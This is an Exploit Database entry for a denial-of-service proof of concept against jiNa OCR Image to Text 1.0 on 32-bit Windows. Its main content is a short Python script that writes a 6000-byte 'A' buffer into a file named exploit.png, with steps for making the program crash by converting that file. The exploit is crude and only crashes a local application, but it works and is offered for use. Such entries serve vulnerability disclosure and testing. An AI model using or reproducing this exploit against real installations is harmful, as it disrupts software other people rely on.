jiNa OCR Image to Text 1.0 - Denial of Service (PoC)

EDB-ID:
45380

CVE:
N/A

EDB Verified: ×

Author:
GIONATHAN REALE

Type:
DOS

Exploit: / {}

Platform:
WINDOWS_X86

Date:
2018-09-12

Vulnerable App:

```
# Exploit Title: jiNa OCR Image to Text 1.0 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-10
# Software Link: http://www.convertimagetotext.net/downloadsoftware.php
# Tested Version: 1.0
# Tested on OS: Windows 7 32-bit

# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.png".
# Now start the program. Now when you are inside of the program attempt to
convert the file "exploit.png" to pdf.
# Now wait and you will see a crash!

#!/usr/bin/python

buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.png","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
```

Tags:

Advisory/Source: Link

Databases

Links

Sites

Solutions